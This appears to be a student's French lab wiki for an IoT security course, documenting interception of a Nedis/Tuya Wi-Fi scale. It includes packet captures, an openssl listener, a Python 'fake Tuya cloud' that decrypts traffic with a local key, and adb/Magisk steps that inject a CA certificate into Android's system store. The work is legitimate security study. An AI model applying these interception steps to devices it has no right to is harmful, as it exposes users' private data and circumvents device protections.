12:36:48.653641 IP 172.16.10.0.bootps &amp;gt; 172.16.10.105.bootpc: BOOTP/DHCP, Reply, length 300&lt;br /&gt;
E..H..........&lt;br /&gt;
...&lt;br /&gt;
i.C.D.4B...................&lt;br /&gt;
i..........|.-L........................................................................................................&lt;br /&gt;
..................................................................................................c.Sc5..6...&lt;br /&gt;
.3....Q..........&lt;br /&gt;
.....&lt;br /&gt;
..	plil.info................&lt;br /&gt;
12:36:48.663352 IP 172.16.10.0.bootps &amp;gt; 172.16.10.105.bootpc: BOOTP/DHCP, Reply, length 300&lt;br /&gt;
E..H..........&lt;br /&gt;
...&lt;br /&gt;
i.C.D.4.L.......p..........&lt;br /&gt;
i..........|.-L........................................................................................................&lt;br /&gt;
..................................................................................................c.Sc5..6...&lt;br /&gt;
.3....Q..........&lt;br /&gt;
.....&lt;br /&gt;
..	plil.info................&lt;br /&gt;
12:36:48.674677 ARP, Request who-has 172.16.10.105 tell 0.0.0.0, length 46&lt;br /&gt;
..........|.-L............&lt;br /&gt;
i&amp;gt;#tB./..P.........&lt;br /&gt;
12:36:48.993649 ARP, Request who-has 172.16.10.105 tell 0.0.0.0, length 46&lt;br /&gt;
..........|.-L............&lt;br /&gt;
ir...P.............&lt;br /&gt;
12:36:49.311055 ARP, Request who-has 172.16.10.105 tell 172.16.10.1, length 28&lt;br /&gt;
..........&amp;gt;#tB..&lt;br /&gt;
.........&lt;br /&gt;
i&lt;br /&gt;
12:36:49.490922 ARP, Request who-has 172.16.10.105 tell 172.16.10.105, length 46&lt;br /&gt;
..........|.-L..&lt;br /&gt;
i........&lt;br /&gt;
i.......x....D.....&lt;br /&gt;
12:36:49.492262 ARP, Reply 172.16.10.105 is-at a4:e5:7c:16:2d:4c (oui Unknown), length 46&lt;br /&gt;
..........|.-L..&lt;br /&gt;
i..&amp;gt;#tB..&lt;br /&gt;
...................&lt;br /&gt;
12:36:49.515651 IP 172.16.10.105.29415 &amp;gt; 172.16.10.1.8886: Flags [S], seq 6536, win 4380, options [mss 1460], length 0&lt;br /&gt;
E..,......O...&lt;br /&gt;
i..&lt;br /&gt;
.r.&amp;quot;.........`...kZ........&lt;br /&gt;
12:36:49.515669 IP 172.16.10.1.8886 &amp;gt; 172.16.10.105.29415: Flags [R.], seq 0, ack 6537, win 0, length 0&lt;br /&gt;
E..(..@.@..E..&lt;br /&gt;
...&lt;br /&gt;
i&amp;quot;.r.........P.......&lt;br /&gt;
12:36:49.518628 IP 172.16.10.105.31325 &amp;gt; 172.16.10.1.https: Flags [S], seq 6539, win 4380, options [mss 1460], length 0&lt;br /&gt;
E..,......O-..&lt;br /&gt;
i..&lt;br /&gt;
.z]..........`.............&lt;br /&gt;
12:36:49.518648 IP 172.16.10.1.https &amp;gt; 172.16.10.105.31325: Flags [S.], seq 1378912894, ack 6540, win 64240, options [m&lt;br /&gt;
ss 1460], length 0&lt;br /&gt;
E..,..@.@..A..&lt;br /&gt;
...&lt;br /&gt;
i..z]R0.~....`...l.......&lt;br /&gt;
12:36:49.523505 IP 172.16.10.105.31325 &amp;gt; 172.16.10.1.https: Flags [.], ack 1, win 4380, length 0&lt;br /&gt;
E..(......O0..&lt;br /&gt;
i..&lt;br /&gt;
.z]......R0..P........a3.tu&lt;br /&gt;
12:36:49.527055 IP 172.16.10.105.31325 &amp;gt; 172.16.10.1.https: Flags [P.], seq 1:68, ack 1, win 4380, length 67&lt;br /&gt;
E..k......N...&lt;br /&gt;
i..&lt;br /&gt;
.z]......R0..P...G?......&amp;gt;...:..BAohBAohbmd6aG91IFR1eVjaG5vbG9SB........................&lt;br /&gt;
12:36:49.527081 IP 172.16.10.1.https &amp;gt; 172.16.10.105.31325: Flags [.], ack 68, win 64173, length 0&lt;br /&gt;
E..(..@.@..X..&lt;br /&gt;
...&lt;br /&gt;
i..z]R0......P...l...&lt;br /&gt;
12:36:49.527462 IP 172.16.10.1.https &amp;gt; 172.16.10.105.31325: Flags [P.], seq 1:8, ack 68, win 64173, length 7&lt;br /&gt;
E../..@.@..P..&lt;br /&gt;
...&lt;br /&gt;
i..z]R0......P...l.........(&lt;br /&gt;
12:36:49.527530 IP 172.16.10.1.https &amp;gt; 172.16.10.105.31325: Flags [F.], seq 8, ack 68, win 64173, length 0&lt;br /&gt;
E..(..@.@..V..&lt;br /&gt;
...&lt;br /&gt;
i..z]R0......P...l...&lt;br /&gt;
12:36:49.569636 IP 172.16.10.105.31325 &amp;gt; 172.16.10.1.https: Flags [.], ack 8, win 4373, length 0&lt;br /&gt;
E..(......O...&lt;br /&gt;
i..&lt;br /&gt;
.z]......R0..P..........C.@&lt;br /&gt;
12:36:49.574893 IP 172.16.10.105.31325 &amp;gt; 172.16.10.1.https: Flags [R.], seq 68, ack 8, win 4380, length 0&lt;br /&gt;
E..(......O-..&lt;br /&gt;
i..&lt;br /&gt;
.z]......R0..P..........&lt;br /&gt;
..&lt;br /&gt;
12:36:50.310055 ARP, Request who-has 172.16.10.105 tell 172.16.10.105, length 46&lt;br /&gt;
..........|.-L..&lt;br /&gt;
i........&lt;br /&gt;
i........ ....&amp;gt;....&lt;br /&gt;
12:36:53.526624 IP 172.16.10.105.48314 &amp;gt; 172.16.10.1.8886: Flags [S], seq 6547, win 4380, options [mss 1460], length 0&lt;br /&gt;
E..,......O&amp;amp;..&lt;br /&gt;
i..&lt;br /&gt;
...&amp;quot;.........`...!|........&lt;br /&gt;
12:36:53.526669 IP 172.16.10.1.8886 &amp;gt; 172.16.10.105.48314: Flags [R.], seq 0, ack 6548, win 0, length 0&lt;br /&gt;
E..(..@.@..E..&lt;br /&gt;
...&lt;br /&gt;
i&amp;quot;...........P...JA..&lt;br /&gt;
12:36:54.536817 IP 172.16.10.105.44185 &amp;gt; 172.16.10.1.8886: Flags [S], seq 6567, win 4380, options [mss 1460], length 0&lt;br /&gt;
E..,......O%..&lt;br /&gt;
i..&lt;br /&gt;
...&amp;quot;.........`...1.........&lt;br /&gt;
12:36:54.536835 IP 172.16.10.1.8886 &amp;gt; 172.16.10.105.44185: Flags [R.], seq 0, ack 6568, win 0, length 0&lt;br /&gt;
E..(..@.@..E..&lt;br /&gt;
...&lt;br /&gt;
i&amp;quot;...........P...ZN..&lt;br /&gt;
12:36:55.545631 IP 172.16.10.105.26626 &amp;gt; 172.16.10.1.8886: Flags [S], seq 6589, win 4380, options [mss 1460], length 0&lt;br /&gt;
E..,......O$..&lt;br /&gt;
i..&lt;br /&gt;
.h.&amp;quot;.........`...v&lt;br /&gt;
........&lt;br /&gt;
12:36:55.545649 IP 172.16.10.1.8886 &amp;gt; 172.16.10.105.26626: Flags [R.], seq 0, ack 6590, win 0, length 0&lt;br /&gt;
E..(..@.@..E..&lt;br /&gt;
...&lt;br /&gt;
i&amp;quot;.h.........P.......&lt;br /&gt;
12:36:56.554680 IP 172.16.10.105.16244 &amp;gt; 172.16.10.1.8886: Flags [S], seq 6611, win 4380, options [mss 1460], length 0&lt;br /&gt;
E..,......O#..&lt;br /&gt;
i..&lt;br /&gt;
.?t&amp;quot;.........`.............&lt;br /&gt;
12:36:56.554698 IP 172.16.10.1.8886 &amp;gt; 172.16.10.105.16244: Flags [R.], seq 0, ack 6612, win 0, length 0&lt;br /&gt;
E..(..@.@..E..&lt;br /&gt;
...&lt;br /&gt;
i&amp;quot;.?t........P....G..&lt;br /&gt;
^C&lt;br /&gt;
57 packets captured&lt;br /&gt;
57 packets received by filter&lt;br /&gt;
0 packets dropped by kernel&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;port 8886 chez tuya ?&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
root@SE5:/etc/apache2/sites-available# openssl s_server -accept 8886 -cert /etc/ssl/apache/ca.crt -key /etc/ssl/apache/ca.key -debug&lt;br /&gt;
Using default temp DH parameters&lt;br /&gt;
ACCEPT&lt;br /&gt;
read from 0x55b0357c45c0 [0x55b0357db203] (5 bytes =&amp;gt; 5 (0x5))&lt;br /&gt;
0000 - 16 03 03 00 3e                                    ....&amp;gt;&lt;br /&gt;
read from 0x55b0357c45c0 [0x55b0357db208] (62 bytes =&amp;gt; 62 (0x3E))&lt;br /&gt;
0000 - 01 00 00 3a 03 03 42 41-6f 68 42 41 6f 68 62 6d   ...:..BAohBAohbm&lt;br /&gt;
0010 - 64 36 61 47 39 31 49 46-52 31 65 56 6a 61 47 35   d6aG91IFR1eVjaG5&lt;br /&gt;
0020 - 76 62 47 39 53 42 00 00-04 00 ae 00 ff 01 00 00   vbG9SB..........&lt;br /&gt;
0030 - 0d 00 01 00 01 02 00 16-00 00 00 17 00 00         ..............&lt;br /&gt;
write to 0x55b0357c45c0 [0x55b0357e4430] (7 bytes =&amp;gt; 7 (0x7))&lt;br /&gt;
0000 - 15 03 03 00 02 02 28                              ......(&lt;br /&gt;
ERROR&lt;br /&gt;
801B7259B87F0000:error:0A0000C1:SSL routines:tls_post_process_client_hello:no shared cipher:../ssl/statem/statem_srvr.c:2220:&lt;br /&gt;
shutting down SSL&lt;br /&gt;
CONNECTION CLOSED&lt;br /&gt;
read from 0x55b0357c2410 [0x55b0357db203] (5 bytes =&amp;gt; 5 (0x5))&lt;br /&gt;
0000 - 16 03 03 00 3e                                    ....&amp;gt;&lt;br /&gt;
read from 0x55b0357c2410 [0x55b0357db208] (62 bytes =&amp;gt; 62 (0x3E))&lt;br /&gt;
0000 - 01 00 00 3a 03 03 42 41-6f 68 42 41 6f 68 62 6d   ...:..BAohBAohbm&lt;br /&gt;
0010 - 64 36 61 47 39 31 49 46-52 31 65 56 6a 61 47 35   d6aG91IFR1eVjaG5&lt;br /&gt;
0020 - 76 62 47 39 53 42 00 00-04 00 ae 00 ff 01 00 00   vbG9SB..........&lt;br /&gt;
0030 - 0d 00 01 00 01 02 00 16-00 00 00 17 00 00         ..............&lt;br /&gt;
write to 0x55b0357c2410 [0x55b0357e4430] (7 bytes =&amp;gt; 7 (0x7))&lt;br /&gt;
0000 - 15 03 03 00 02 02 28                              ......(&lt;br /&gt;
ERROR&lt;br /&gt;
801B7259B87F0000:error:0A0000C1:SSL routines:tls_post_process_client_hello:no shared cipher:../ssl/statem/statem_srvr.c:2220:&lt;br /&gt;
shutting down SSL&lt;br /&gt;
CONNECTION CLOSED&lt;br /&gt;
read from 0x55b0357c1930 [0x55b0357db203] (5 bytes =&amp;gt; 5 (0x5))&lt;br /&gt;
0000 - 16 03 03 00 3e                                    ....&amp;gt;&lt;br /&gt;
read from 0x55b0357c1930 [0x55b0357db208] (62 bytes =&amp;gt; 62 (0x3E))&lt;br /&gt;
0000 - 01 00 00 3a 03 03 42 41-6f 68 42 41 6f 68 62 6d   ...:..BAohBAohbm&lt;br /&gt;
0010 - 64 36 61 47 39 31 49 46-52 31 65 56 6a 61 47 35   d6aG91IFR1eVjaG5&lt;br /&gt;
0020 - 76 62 47 39 53 42 00 00-04 00 ae 00 ff 01 00 00   vbG9SB..........&lt;br /&gt;
0030 - 0d 00 01 00 01 02 00 16-00 00 00 17 00 00         ..............&lt;br /&gt;
write to 0x55b0357c1930 [0x55b0357e4430] (7 bytes =&amp;gt; 7 (0x7))&lt;br /&gt;
0000 - 15 03 03 00 02 02 28                              ......(&lt;br /&gt;
ERROR&lt;br /&gt;
801B7259B87F0000:error:0A0000C1:SSL routines:tls_post_process_client_hello:no shared cipher:../ssl/statem/statem_srvr.c:2220:&lt;br /&gt;
shutting down SSL&lt;br /&gt;
CONNECTION CLOSED&lt;br /&gt;
read from 0x55b0357c45c0 [0x55b0357db203] (5 bytes =&amp;gt; 5 (0x5))&lt;br /&gt;
0000 - 16 03 03 00 3e                                    ....&amp;gt;&lt;br /&gt;
read from 0x55b0357c45c0 [0x55b0357db208] (62 bytes =&amp;gt; 62 (0x3E))&lt;br /&gt;
0000 - 01 00 00 3a 03 03 42 41-6f 68 42 41 6f 68 62 6d   ...:..BAohBAohbm&lt;br /&gt;
0010 - 64 36 61 47 39 31 49 46-52 31 65 56 00 00 00 00   d6aG91IFR1eV....&lt;br /&gt;
0020 - 00 00 00 00 00 00 00 00-04 00 ae 00 ff 01 00 00   ................&lt;br /&gt;
0030 - 0d 00 01 00 01 02 00 16-00 00 00 17 00 00         ..............&lt;br /&gt;
write to 0x55b0357c45c0 [0x55b0357e4430] (7 bytes =&amp;gt; 7 (0x7))&lt;br /&gt;
0000 - 15 03 03 00 02 02 28                              ......(&lt;br /&gt;
ERROR&lt;br /&gt;
801B7259B87F0000:error:0A0000C1:SSL routines:tls_post_process_client_hello:no shared cipher:../ssl/statem/statem_srvr.c:2220:&lt;br /&gt;
shutting down SSL&lt;br /&gt;
CONNECTION CLOSED&lt;br /&gt;
read from 0x55b0357c2410 [0x55b0357db203] (5 bytes =&amp;gt; 5 (0x5))&lt;br /&gt;
0000 - 16 03 03 00 3e                                    ....&amp;gt;&lt;br /&gt;
read from 0x55b0357c2410 [0x55b0357db208] (62 bytes =&amp;gt; 62 (0x3E))&lt;br /&gt;
0000 - 01 00 00 3a 03 03 42 41-6f 68 42 41 6f 68 62 00   ...:..BAohBAohb.&lt;br /&gt;
0010 - 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................&lt;br /&gt;
0020 - 00 00 00 00 00 00 00 00-04 00 ae 00 ff 01 00 00   ................&lt;br /&gt;
0030 - 0d 00 01 00 01 02 00 16-00 00 00 17 00 00         ..............&lt;br /&gt;
write to 0x55b0357c2410 [0x55b0357e4430] (7 bytes =&amp;gt; 7 (0x7))&lt;br /&gt;
0000 - 15 03 03 00 02 02 28                              ......(&lt;br /&gt;
ERROR&lt;br /&gt;
801B7259B87F0000:error:0A0000C1:SSL routines:tls_post_process_client_hello:no shared cipher:../ssl/statem/statem_srvr.c:2220:&lt;br /&gt;
shutting down SSL&lt;br /&gt;
CONNECTION CLOSED&lt;br /&gt;
read from 0x55b0357c1930 [0x55b0357db203] (5 bytes =&amp;gt; 5 (0x5))&lt;br /&gt;
0000 - 16 03 03 00 3e                                    ....&amp;gt;&lt;br /&gt;
read from 0x55b0357c1930 [0x55b0357db208] (62 bytes =&amp;gt; 62 (0x3E))&lt;br /&gt;
0000 - 01 00 00 3a 03 03 42 41-6f 68 42 41 6f 68 62 6d   ...:..BAohBAohbm&lt;br /&gt;
0010 - 64 36 61 47 39 31 49 46-52 31 65 56 6a 61 47 35   d6aG91IFR1eVjaG5&lt;br /&gt;
0020 - 76 62 47 39 53 42 00 00-04 00 ae 00 ff 01 00 00   vbG9SB..........&lt;br /&gt;
0030 - 0d 00 01 00 01 02 00 16-00 00 00 17 00 00         ..............&lt;br /&gt;
write to 0x55b0357c1930 [0x55b0357e4430] (7 bytes =&amp;gt; 7 (0x7))&lt;br /&gt;
0000 - 15 03 03 00 02 02 28                              ......(&lt;br /&gt;
ERROR&lt;br /&gt;
801B7259B87F0000:error:0A0000C1:SSL routines:tls_post_process_client_hello:no shared cipher:../ssl/statem/statem_srvr.c:2220:&lt;br /&gt;
shutting down SSL&lt;br /&gt;
CONNECTION CLOSED&lt;br /&gt;
read from 0x55b0357c45c0 [0x55b0357db203] (5 bytes =&amp;gt; 5 (0x5))&lt;br /&gt;
0000 - 16 03 03 00 3e                                    ....&amp;gt;&lt;br /&gt;
read from 0x55b0357c45c0 [0x55b0357db208] (62 bytes =&amp;gt; 62 (0x3E))&lt;br /&gt;
0000 - 01 00 00 3a 03 03 42 41-6f 68 42 41 6f 68 62 6d   ...:..BAohBAohbm&lt;br /&gt;
0010 - 64 36 61 47 39 31 49 46-52 31 65 56 6a 61 47 35   d6aG91IFR1eVjaG5&lt;br /&gt;
0020 - 76 62 47 39 53 42 00 00-04 00 ae 00 ff 01 00 00   vbG9SB..........&lt;br /&gt;
0030 - 0d 00 01 00 01 02 00 16-00 00 00 17 00 00         ..............&lt;br /&gt;
write to 0x55b0357c45c0 [0x55b0357e4430] (7 bytes =&amp;gt; 7 (0x7))&lt;br /&gt;
0000 - 15 03 03 00 02 02 28                              ......(&lt;br /&gt;
ERROR&lt;br /&gt;
801B7259B87F0000:error:0A0000C1:SSL routines:tls_post_process_client_hello:no shared cipher:../ssl/statem/statem_srvr.c:2220:&lt;br /&gt;
shutting down SSL&lt;br /&gt;
CONNECTION CLOSED&lt;br /&gt;
read from 0x55b0357c2410 [0x55b0357db203] (5 bytes =&amp;gt; 5 (0x5))&lt;br /&gt;
0000 - 16 03 03 00 3e                                    ....&amp;gt;&lt;br /&gt;
read from 0x55b0357c2410 [0x55b0357db208] (62 bytes =&amp;gt; 62 (0x3E))&lt;br /&gt;
0000 - 01 00 00 3a 03 03 42 41-6f 68 42 41 6f 68 62 6d   ...:..BAohBAohbm&lt;br /&gt;
0010 - 64 36 61 47 00 00 00 00-00 00 00 00 00 00 00 00   d6aG............&lt;br /&gt;
0020 - 00 00 00 00 00 00 00 00-04 00 ae 00 ff 01 00 00   ................&lt;br /&gt;
0030 - 0d 00 01 00 01 02 00 16-00 00 00 17 00 00         ..............&lt;br /&gt;
write to 0x55b0357c2410 [0x55b0357e4430] (7 bytes =&amp;gt; 7 (0x7))&lt;br /&gt;
0000 - 15 03 03 00 02 02 28                              ......(&lt;br /&gt;
ERROR&lt;br /&gt;
801B7259B87F0000:error:0A0000C1:SSL routines:tls_post_process_client_hello:no shared cipher:../ssl/statem/statem_srvr.c:2220:&lt;br /&gt;
shutting down SSL&lt;br /&gt;
CONNECTION CLOSED&lt;br /&gt;
read from 0x55b0357c1930 [0x55b0357db203] (5 bytes =&amp;gt; 5 (0x5))&lt;br /&gt;
0000 - 16 03 03 00 3e                                    ....&amp;gt;&lt;br /&gt;
read from 0x55b0357c1930 [0x55b0357db208] (62 bytes =&amp;gt; 62 (0x3E))&lt;br /&gt;
0000 - 01 00 00 3a 03 03 42 41-6f 68 42 41 6f 68 62 6d   ...:..BAohBAohbm&lt;br /&gt;
0010 - 64 36 61 47 39 31 49 46-52 31 65 56 6a 61 47 35   d6aG91IFR1eVjaG5&lt;br /&gt;
0020 - 76 62 47 39 53 42 00 00-04 00 ae 00 ff 01 00 00   vbG9SB..........&lt;br /&gt;
0030 - 0d 00 01 00 01 02 00 16-00 00 00 17 00 00         ..............&lt;br /&gt;
write to 0x55b0357c1930 [0x55b0357e4430] (7 bytes =&amp;gt; 7 (0x7))&lt;br /&gt;
0000 - 15 03 03 00 02 02 28                              ......(&lt;br /&gt;
ERROR&lt;br /&gt;
801B7259B87F0000:error:0A0000C1:SSL routines:tls_post_process_client_hello:no shared cipher:../ssl/statem/statem_srvr.c:2220:&lt;br /&gt;
shutting down SSL&lt;br /&gt;
CONNECTION CLOSED&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;trouver un mdp dans l'appli nedis /data/data/com.nedis.smartlife/shared_prefs&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
decouverte de tinytuya : https://github.com/jasonacox/tinytuya&amp;lt;syntaxhighlight lang=&amp;quot;python3&amp;quot;&amp;gt;&lt;br /&gt;
import socket&lt;br /&gt;
import tinytuya&lt;br /&gt;
import json&lt;br /&gt;
&lt;br /&gt;
LOCAL_KEY = '674d29fb978a1705' &lt;br /&gt;
&lt;br /&gt;
IP_BALANCE = '172.16.10.105'&lt;br /&gt;
&lt;br /&gt;
print(f&amp;quot;[*] Démarrage du Faux Cloud Tuya...&amp;quot;)&lt;br /&gt;
print(f&amp;quot;[*] Clé utilisée : {LOCAL_KEY}&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)&lt;br /&gt;
server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)&lt;br /&gt;
server_socket.bind(('0.0.0.0', 8886))&lt;br /&gt;
server_socket.listen(1)&lt;br /&gt;
&lt;br /&gt;
print(&amp;quot;[*] En attente de la balance sur le port 8886...&amp;quot;)&lt;br /&gt;
print(&amp;quot;[*] Monte sur la balance maintenant !&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
while True:&lt;br /&gt;
    try:&lt;br /&gt;
        client, addr = server_socket.accept()&lt;br /&gt;
        print(f&amp;quot;\n[+] Connexion reçue de {addr[0]} !&amp;quot;)&lt;br /&gt;
        &lt;br /&gt;
        data = client.recv(4096)&lt;br /&gt;
        &lt;br /&gt;
        if data:&lt;br /&gt;
            print(f&amp;quot;[i] {len(data)} octets reçus (chiffrés). Tentative de décodage...&amp;quot;)&lt;br /&gt;
            &lt;br /&gt;
            try:&lt;br /&gt;
                d = tinytuya.OutletDevice('DUMMY_ID', IP_BALANCE, LOCAL_KEY)&lt;br /&gt;
                d.set_version(3.3) # Version standard WiFi&lt;br /&gt;
                &lt;br /&gt;
                decrypted = d._decode_payload(data)&lt;br /&gt;
                &lt;br /&gt;
                if decrypted:&lt;br /&gt;
                    print(&amp;quot;\n&amp;quot; + &amp;quot;=&amp;quot;*40)&lt;br /&gt;
                    print(&amp;quot;donnés :&amp;quot;)&lt;br /&gt;
                    print(&amp;quot;=&amp;quot;*40)&lt;br /&gt;
                    parsed = json.loads(decrypted)&lt;br /&gt;
                    print(json.dumps(parsed, indent=4))&lt;br /&gt;
                    &lt;br /&gt;
                    if 'dps' in parsed:&lt;br /&gt;
                        print(&amp;quot;\nVALEURS :&amp;quot;)&lt;br /&gt;
                        for k, v in parsed['dps'].items():&lt;br /&gt;
                            print(f&amp;quot;- Data Point {k} : {v}&amp;quot;)&lt;br /&gt;
                    print(&amp;quot;=&amp;quot;*40)&lt;br /&gt;
                else:&lt;br /&gt;
                    print(&amp;quot;[-] Échec du décryptage (Format inconnu ou clé incorrecte pour ce paquet)&amp;quot;)&lt;br /&gt;
                    &lt;br /&gt;
            except Exception as e:&lt;br /&gt;
                print(f&amp;quot;[-] Erreur de décodage : {e}&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
        client.close()&lt;br /&gt;
        &lt;br /&gt;
    except KeyboardInterrupt:&lt;br /&gt;
        print(&amp;quot;\nArrêt.&amp;quot;)&lt;br /&gt;
        break&lt;br /&gt;
    except Exception as e:&lt;br /&gt;
        print(f&amp;quot;Erreur serveur : {e}&amp;quot;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;adb shell&lt;br /&gt;
&lt;br /&gt;
su&lt;br /&gt;
&lt;br /&gt;
cd /data/adb/modules/&lt;br /&gt;
&lt;br /&gt;
mkdir -p tuya_cert/system/etc/security/cacerts&lt;br /&gt;
&lt;br /&gt;
echo &amp;quot;id=tuya_cert&amp;quot; &amp;gt; tuya_cert/module.prop echo &amp;quot;name=Tuya Certificate Injection&amp;quot; &amp;gt;&amp;gt; tuya_cert/module.prop echo &amp;quot;version=1.0&amp;quot; &amp;gt;&amp;gt; tuya_cert/module.prop echo &amp;quot;versionCode=1&amp;quot; &amp;gt;&amp;gt; tuya_cert/module.prop echo &amp;quot;author=Toi&amp;quot; &amp;gt;&amp;gt; tuya_cert/module.prop echo &amp;quot;description=Injecte le certificat Tuya dans le systeme&amp;quot; &amp;gt;&amp;gt; tuya_cert/module.prop &lt;br /&gt;
&lt;br /&gt;
touch tuya_cert/auto_mount&lt;br /&gt;
&lt;br /&gt;
cp /sdcard/Download/26e33623.0 /data/adb/modules/tuya_cert/system/etc/security/cacerts/&lt;br /&gt;
&lt;br /&gt;
chmod 644 /data/adb/modules/tuya_cert/system/etc/security/cacerts/26e33623.0&lt;br /&gt;
&lt;br /&gt;
chown root:root /data/adb/modules/tuya_cert/system/etc/security/cacerts/26e33623.0&lt;br /&gt;
&lt;br /&gt;
reboot&lt;/div&gt;</summary>
		<author><name>Vdetrez</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_IdO_s%C3%A9curit%C3%A9_des_objets_2025/2026_b1&amp;diff=10913</id>
		<title>SE5 IdO sécurité des objets 2025/2026 b1</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_IdO_s%C3%A9curit%C3%A9_des_objets_2025/2026_b1&amp;diff=10913"/>
		<updated>2025-12-02T15:50:11Z</updated>

		<summary type="html">&lt;p&gt;Vdetrez : /* Nedis Wi-Fi Smart Personal Scales */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[Fichier:1107px-Titre page.png|sans_cadre|820x820px]]&lt;br /&gt;
&lt;br /&gt;
= Serveur virtuel (17/09) =&lt;br /&gt;
Dans un premier temps, on vient créer un serveur virtuel sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; avec la commande &amp;lt;code&amp;gt;xen-create-image --hostname=SE5.vdetrez --dhcp --dir=/usr/local/xen --size=10G --memory=2G --dist=daedalus --bridge=bridgeStudents&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite, sur capbreton dans le dossier &amp;lt;code&amp;gt;/etc/network/interfaces.d&amp;lt;/code&amp;gt; on vient créer un fichier &amp;lt;code&amp;gt;g1_vdetrez&amp;lt;/code&amp;gt; pour mettre en place une nouvelle interface dans le VLAN 410.  &amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
auto Trunk.410&lt;br /&gt;
iface Trunk.410 inet manual&lt;br /&gt;
        vlan-raw-device Trunk&lt;br /&gt;
        up ip link set $IFACE up&lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&lt;br /&gt;
auto g1_vdetrez&lt;br /&gt;
iface g1_vdetrez inet manual&lt;br /&gt;
	bridge_ports Trunk.410&lt;br /&gt;
	up ip link set $IFACE up &lt;br /&gt;
	down ip link set $IFACE down&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On a maintenant accès à la machine SE5.vdetrez (en ayant évidemment fait l'erreur de mettre &amp;quot;.&amp;quot; à la place de &amp;quot;-&amp;quot;) et on vient y configurer nos adresses IPv4.&lt;br /&gt;
&lt;br /&gt;
Mon adresse IPv4 routée est la &amp;lt;code&amp;gt;172.26.145.100&amp;lt;/code&amp;gt; et mon IPv4 dans le VLAN 410 est &amp;lt;code&amp;gt;172.16.10.0&amp;lt;/code&amp;gt; &amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
# This file describes the network interfaces available on your system&lt;br /&gt;
# and how to activate them. For more information, see interfaces(5).&lt;br /&gt;
&lt;br /&gt;
# The loopback network interface&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# The primary network interface&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
	address 172.26.145.110&lt;br /&gt;
	netmask 255.255.255.0&lt;br /&gt;
	gateway 172.26.145.251&lt;br /&gt;
# post-up ethtool -K eth0 tx off&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
	address 172.16.10.0/24&lt;br /&gt;
#&lt;br /&gt;
# The commented out line above will disable TCP checksumming which&lt;br /&gt;
# might resolve problems for some users.  It is disabled by default&lt;br /&gt;
#&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On vérifie avec la commande &amp;lt;code&amp;gt;ip a&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000&lt;br /&gt;
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00&lt;br /&gt;
    inet 127.0.0.1/8 scope host lo&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 ::1/128 scope host &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
2: eth0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:23:74:41 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 172.26.145.110/24 brd 172.26.145.255 scope global eth0&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 2001:660:4401:6050:216:3eff:fe23:7441/64 scope global dynamic mngtmpaddr &lt;br /&gt;
       valid_lft 853sec preferred_lft 753sec&lt;br /&gt;
    inet6 2a01:c916:2047:c850:216:3eff:fe23:7441/64 scope global dynamic mngtmpaddr &lt;br /&gt;
       valid_lft 2591853sec preferred_lft 604653sec&lt;br /&gt;
    inet6 fe80::216:3eff:fe23:7441/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
3: eth1: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:23:74:42 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 172.16.10.0/24 brd 172.16.10.255 scope global eth1&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 fe80::216:3eff:fe23:7442/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et on constate que notre serveur a accès à Internet avec la commande &amp;lt;code&amp;gt;ping 8.8.8.8&amp;lt;/code&amp;gt;&lt;br /&gt;
